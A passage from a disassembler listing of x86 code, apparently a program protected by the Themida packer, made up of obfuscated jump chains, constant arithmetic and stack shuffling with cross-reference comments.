loc_59361D:				; CODE XREF: sub_58C17E+6511j
		add	edx, 5F9A1ED2h
		xor	edx, 6E251E62h
		dec	edx
		dec	edx
		add	edx, 36C2B5CFh
		jmp	loc_591CE7
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7C60h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_597B39
; ---------------------------------------------------------------------------


loc_593649:				; CODE XREF: Themida_:0059688Ej
		push	bx
		jmp	loc_5937F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593650:				; CODE XREF: sub_58C17E+6Fj
		sub	ebx, 313F7FA4h
		not	ebx
		xor	ebx, 964D8558h
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_593663:				; CODE XREF: sub_58C17E+1766j
		and	edi, 305B452Dh
		jmp	loc_5910FE
; ---------------------------------------------------------------------------


loc_59366E:				; CODE XREF: sub_58C17E+87B9j
		mov	eax, 587B7BD9h
		push	ebp
		mov	ebp, 760B4DB4h
		xor	eax, ebp
		pop	ebp
		inc	eax
		push	edi
		jmp	loc_591BD6
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593683:				; CODE XREF: Themida_:005912F0j
		pop	ecx
		add	al, 0A2h
		sub	al, bl
		jmp	loc_58B0DA
; ---------------------------------------------------------------------------


loc_59368D:				; CODE XREF: Themida_:0058D957j
		push	esi
		mov	esi, 103853A5h
		neg	esi
		xor	esi, 3FA426FFh
		sub	esi, 4A13137Ch
		jmp	loc_591F52
; ---------------------------------------------------------------------------


loc_5936A6:				; CODE XREF: Themida_:005910EFj
		push	esi
		mov	esi, 4CCB3C44h
		inc	esi
		or	esi, 5BCD6DC7h
		neg	esi
		add	esi, 0DECE80D6h
		sub	ecx, esi
		pop	esi
		add	ecx, edi
		push	edx
		mov	edx, 7EFF030Fh
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 428E4729h
		add	ecx, eax
		jmp	loc_5962E8

; =============== S U B	R O U T	I N E =======================================



sub_5936D6	proc near		; CODE XREF: sub_5916C4+400Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591215 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059538A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005957FD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059681E SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+0], eax
		mov	al, bh
		push	edx
		jmp	loc_5957FD
sub_5936D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_5936E4:				; CODE XREF: sub_5921D8:loc_593152j
		not	al
		jmp	loc_58B62C
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5936EB:				; CODE XREF: sub_592D25-45D6j
		xchg	ecx, [esp+0]
		not	ecx
		xchg	ecx, [esp+0]
		pop	edx
		xchg	edx, [esp+10h+var_10]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58A4CF
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_59370C:				; CODE XREF: sub_590B70-66C7j
		push	esi
		mov	esi, 49E64C75h
		add	ebp, esi
		pop	esi
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], eax
		jmp	loc_58C50A
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_593728:				; CODE XREF: sub_58F836-517Cj
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	1637h
		mov	[esp+4+var_4], edi
		jmp	sub_595E21
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59373E:				; CODE XREF: sub_590467-3C40j
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 493C0696h
		mov	ebp, 493C0694h
		xor	ebp, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_592247
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_593755:				; CODE XREF: Themida_:00597462j
		add	esp, 4
		push	61E3h
		jmp	loc_58E15C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593765:				; CODE XREF: sub_58F5B5-1F60j
		mov	ecx, [esp-8+arg_4]
		jmp	loc_58DBA6
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59376D:				; CODE XREF: Themida_:00597E00j
		shl	edx, 3
		add	edx, 767018C7h
		jmp	loc_593E68
; ---------------------------------------------------------------------------


loc_59377B:				; CODE XREF: Themida_:0058C62Bj
		pop	edx
		xor	dh, cl
		jmp	loc_59098C
; ---------------------------------------------------------------------------


loc_593783:				; CODE XREF: Themida_:loc_592369j
		push	si
		mov	si, 3EEEh
		or	bp, si
		mov	si, [esp]
		push	edx
		jmp	loc_58BB06
; ---------------------------------------------------------------------------


loc_593796:				; CODE XREF: Themida_:00592B23j
		pop	eax
		add	edx, 542535BEh
		add	edx, ebp
		jmp	loc_5931C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5937A4:				; CODE XREF: sub_5916CB-31E5j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5937B2:				; CODE XREF: sub_592D25-FD9j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		jmp	loc_58DE8C
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_5937CF:				; CODE XREF: Themida_:0058DF35j
		sub	eax, edi
		pop	edi
		jmp	loc_58EB74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5937D7:				; CODE XREF: sub_58C17E+A929j
		movzx	cx, al
		jmp	loc_597291
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5937E0:				; CODE XREF: sub_5916C4+13CEj
		add	eax, 25622F7h
		add	eax, ebp
		sub	eax, 25622F7h
		jmp	loc_593AF1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5937F1:				; CODE XREF: Themida_:0059364Bj
		mov	bh, 2Ch
		add	al, 1Fh
		add	al, bh
		sub	al, 1Fh
		pop	bx
		sub	al, 24h
		jmp	loc_58B661
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593802:				; CODE XREF: sub_5916C4-494Ej
		mov	bh, ah
		pop	eax
		jmp	loc_592150
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59380A:				; CODE XREF: sub_590010-3528j
		add	ebp, 613E0866h
		sub	ebp, 7461519h
		pop	esi
		jmp	loc_58F2B6
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_59381C:				; CODE XREF: Themida_:00595E76j
		shr	ebx, 4
		sub	ebx, 3B522B07h
		ja	loc_5926F3
		xor	ebx, 979DFFC1h
		mov	eax, ebx
		jmp	loc_59021D
; ---------------------------------------------------------------------------


loc_593838:				; CODE XREF: Themida_:00591E22j
		mov	ebp, 1E4008D8h
		jmp	loc_5918FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_593842:				; CODE XREF: sub_590467-4229j
		add	esi, edi
		push	ecx
		mov	ecx, 0F8D260Ch
		shr	ecx, 3
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		add	ecx, 17233BCh
		add	ecx, 5F73773Fh
		add	esi, 322C6109h
		sub	esi, ecx
		sub	esi, 322C6109h
		pop	ecx
		pop	edi
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_595CCD
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593886:				; CODE XREF: sub_58C17E+6FE2j
		add	ebp, edx
		jmp	loc_597E52
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59388D:				; CODE XREF: sub_5916C4-15E6j
		add	esp, 4
		push	ecx
		pop	ebp
		mov	ecx, [esp+16h+var_16]
		push	ecx
		jmp	loc_590FC6
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5065h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		jmp	loc_58F466

; =============== S U B	R O U T	I N E =======================================



sub_5938B9	proc near		; CODE XREF: sub_58F5B5+6867j

var_6		= dword	ptr -6
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A3B9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058A45D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A890 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AFF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B398 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B549 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058B6E1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058BAFA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BD0B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C7DE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058D5B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D894 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DCE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DF5B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E115 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E1E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E321 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E6F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E88B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EAEC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F12F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F2D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F72F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F760 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F99E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FD28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FEC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005903BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059047B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590538 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005905F9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590688 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059082B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059178F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591EDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591EF3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591FB3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592140 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005923C1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592420 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592700 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592804 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005929C8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005933AE SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005938BF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593BE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593D17 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594371 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005949A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594F03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595365 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595B44 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595BE2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596D04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596E43 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596F09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597492 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059769A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059791C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005979F6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597AD5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597AEC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597C49 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597FA4 SIZE 0000000F BYTES

		push	ebx
		jmp	loc_58F12F
sub_5938B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5938BF:				; CODE XREF: sub_5938B9-176Ej
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_590538
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5917D0
; ---------------------------------------------------------------------------


loc_5938E3:				; CODE XREF: Themida_:00593AECj
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_596C26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_5938EF:				; CODE XREF: sub_595BDA+2198j
		add	esi, 80820Ch
		mov	edi, esi
		pop	esi
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_595BDA
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5938FF:				; CODE XREF: sub_58C17E+49BDj
		push	3343h
		mov	[esp+6+var_8+2], esi
		mov	esi, ebx
		push	1FE1h
		mov	[esp+0Ah+var_C+2], edx
		jmp	loc_58EC51
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593916:				; CODE XREF: Themida_:00596472j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_59391B:				; CODE XREF: sub_59089C-279Bj
		push	438Ah
		jmp	loc_58DFB2
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593925:				; CODE XREF: sub_5916C4+14AEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		push	edi
		jmp	loc_593B98
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_59393E:				; CODE XREF: sub_5942E3-8868j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_592540
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		push	ebx
		jmp	loc_597CD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_593969:				; CODE XREF: sub_58B4D6+64A9j
		sub	eax, 589C7B72h
		jmp	loc_58E8F1
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_593973:				; CODE XREF: sub_595655-AD14j
		add	edx, ecx
		pop	ecx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		push	ebp
		jmp	sub_59762D
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58A525
; ---------------------------------------------------------------------------


loc_593998:				; CODE XREF: Themida_:0058FDC8j
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 6E037CCh
		add	ebx, eax
		add	ebx, 6E037CCh
		jmp	loc_5961E9
; ---------------------------------------------------------------------------


loc_5939B1:				; CODE XREF: Themida_:0058E069j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	ebp
		mov	ebp, 542F23F9h
		mov	ecx, ebp
		pop	ebp
		add	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5933EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_5939EA:				; CODE XREF: sub_5942E3+1Fj
		sub	edi, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_59283F
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5939F4:				; CODE XREF: sub_58F5B5+6041j
		xchg	ebp, ebx
		xor	ebx, 6EEBB81Fh
		sub	ebp, ebx
		jmp	loc_594356
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_593A03:				; CODE XREF: Themida_:00597F36j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		push	3AF3h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 0FFFFFFFFh
		add	edx, 32BE0F0Ch
		or	ebx, edx
		pop	edx
		sub	ebx, 0FFFFEAFFh
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_593A52:				; CODE XREF: sub_5921D8-6BABj
					; Themida_:005973DBj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_593C25
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------


loc_593A62:				; CODE XREF: Themida_:loc_58BC9Aj
		shr	esi, 1
		sub	esi, 86EDEA3Dh
		mov	edx, esi
		jmp	loc_597A80
; ---------------------------------------------------------------------------


loc_593A71:				; CODE XREF: Themida_:00591782j
		pop	esi
		push	ebp
		mov	ebp, 2F5F5D08h
		sub	ebp, 61E244E7h
		jmp	loc_5954E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593A83:				; CODE XREF: sub_58C17E+4F90j
		not	edi
		add	edi, 32B2FB6h
		mov	eax, edi
		pop	edi
		jmp	loc_58A868
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	35BBh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593AB7:				; CODE XREF: sub_5916C4+2602j
		jmp	loc_58D413
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_593ABC:				; CODE XREF: sub_595BDA-5E9Cj
		and	bh, 22h
		jnz	loc_594A46
		push	ecx
		mov	ch, 47h
		jmp	loc_58D149
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
		push	eax
		mov	bl, dl


loc_593AD0:				; CODE XREF: Themida_:005959D3j
		sub	bl, 1
		dec	bl
		jmp	loc_5940AE
; ---------------------------------------------------------------------------


loc_593ADA:				; CODE XREF: Themida_:00596DA4j
		sub	ebx, esi
		pop	esi
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_5938E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593AF1:				; CODE XREF: sub_5916C4+2128j
		add	eax, 2DFA0828h
		pop	ebp
		jmp	loc_59309E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_593AFC:				; CODE XREF: Themida_:00590C46j
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_593B09:				; CODE XREF: Themida_:00597E33j
		add	esp, 4
		dec	bh
		jmp	loc_58F82A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_593B13:				; CODE XREF: sub_58C17E+65BAj
		mov	esi, esp
		jmp	loc_5920F0
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_593B1A:				; CODE XREF: Themida_:0058B897j
		add	ebx, 52DC097Fh
		add	ebx, eax
		sub	ebx, 52DC097Fh
		sub	ebx, 4243074Eh
		jmp	loc_59194E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_593B33:				; CODE XREF: sub_595E21-4BD8j
		or	edx, 62D86549h
		push	edi
		mov	edi, 84070032h
		sub	edx, 2D4B7C94h
		add	edx, edi
		push	ebx
		push	ebp
		jmp	loc_595E36
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_593B4E:				; CODE XREF: sub_58D236+4920j
		sub	ebx, 583D7BCEh
		sub	ebx, ebp
		jmp	loc_5904D1
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------


loc_593B5B:				; CODE XREF: Themida_:0058FE50j
		mov	ebx, 28195356h
		xor	ebx, 0B5E7322h
		shl	ebx, 4
		jmp	loc_5948EB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		jmp	loc_58FB09
; ---------------------------------------------------------------------------


loc_593B7A:				; CODE XREF: Themida_:loc_594B19j
		xor	al, 46h
		mov	ch, 0Dh
		sub	ch, al
		jmp	loc_58E8AA
; ---------------------------------------------------------------------------


loc_593B85:				; CODE XREF: Themida_:0059184Fj
		jg	loc_590877
		shl	edi, 5
		jz	loc_58FBAF
		shl	edi, 2
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593B98:				; CODE XREF: sub_5916C4+2275j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5927E1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0A2h
		push	edx
		push	ebx
		mov	bh, 17h
		shr	bh, 3
		dec	bh
		add	bh, 2Eh
		mov	dl, bh
		pop	ebx
		push	eax
		jmp	loc_5910A7
; ---------------------------------------------------------------------------


loc_593BBD:				; CODE XREF: Themida_:0058EC62j
		xor	edi, ebp
		pop	ebp
		jmp	loc_5913BC
; ---------------------------------------------------------------------------


loc_593BC5:				; CODE XREF: Themida_:0058DDB7j
		pop	esp
		jmp	loc_59086C
; ---------------------------------------------------------------------------


loc_593BCB:				; CODE XREF: Themida_:00595360j
		pop	ebx
		sub	bl, al
		jmp	loc_58B2F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_593BD3:				; CODE XREF: sub_5916CB+5187j
		add	edx, 0DBD7D8B5h
		sub	esi, 269B42BCh
		jmp	loc_593F93
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_593BE4:				; CODE XREF: sub_5938B9+46F5j
		mov	eax, 72C852D7h
		add	eax, 613A767Bh
		inc	eax
		sub	eax, 669B71E3h
		add	edi, eax
		jmp	loc_58E115
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_593BFB:				; CODE XREF: sub_5EC2E8-5703Fj
		mov	edx, esp
		push	ebp
		mov	ebp, 8E23BD1h
		add	ebp, 2D0752F8h
		jmp	loc_597613
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_593C0E:				; CODE XREF: sub_58F5B5-1EEAj
		sub	ebp, 4291057Dh
		jnz	loc_594BC3
		jmp	loc_597961
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 4
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_593C25:				; CODE XREF: sub_5921D8+1885j
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp-4+arg_0], ebx
		push	7E51h
		jmp	loc_58B249
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------


loc_593C38:				; CODE XREF: Themida_:005968AEj
		push	24E2h
		jmp	loc_593D0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_593C42:				; CODE XREF: sub_590467-139Ej
		mov	ecx, 4
		jmp	loc_58A3E0
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_593C4C:				; CODE XREF: Themida_:0059478Fj
		not	al
		and	al, 0B7h
		jno	loc_594B19
		jmp	loc_59225D
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		mov	cl, 0ADh
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_594654


loc_593C61:				; CODE XREF: sub_594654+60Aj
		sub	edi, 62B9F0CDh
		add	ebx, edi
		pop	edi
		add	ebx, 3B6C9EA0h
		add	ecx, 3E43252Bh
		add	ecx, ebx
		sub	ecx, 3E43252Bh
		pop	ebx
		jmp	sub_58F013
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------


loc_593C84:				; CODE XREF: Themida_:0059474Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	edx
		mov	dh, 3Ah
		push	eax
		mov	al, dh
		mov	bl, al
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		mov	cl, 93h
		sub	cl, bl
		jmp	loc_590F98
; ---------------------------------------------------------------------------


loc_593CA7:				; CODE XREF: Themida_:005955E3j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_58F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_593CC1:				; CODE XREF: sub_5916C4+26A1j
		shl	esi, 7
		neg	esi
		jno	loc_593AB7
		jmp	loc_58F1B1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		and	bh, 22h
		jnz	loc_597668
		movzx	ax, byte ptr [edx]
		jmp	loc_58EA58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_593CE3:				; CODE XREF: sub_590467+4FB1j
		add	ebp, 83ABD5A8h
		or	ebp, 782F01D4h
		jmp	loc_58E495
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_593CF4:				; CODE XREF: sub_5EC2E8-5DC1Dj
		add	ebx, eax
		push	3949h
		mov	[esp+28h+var_28], edi
		mov	edi, 2FB8467Bh
		sub	edi, 0F9DC1114h
		push	ebp
		jmp	loc_593EBE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_593D0F:				; CODE XREF: Themida_:00593C3Dj
		mov	[esp], ebx
		jmp	loc_59720F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_593D17:				; CODE XREF: sub_5938B9-108Aj
		mov	edx, 0D6AFF97Eh
		jmp	loc_5979F6
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
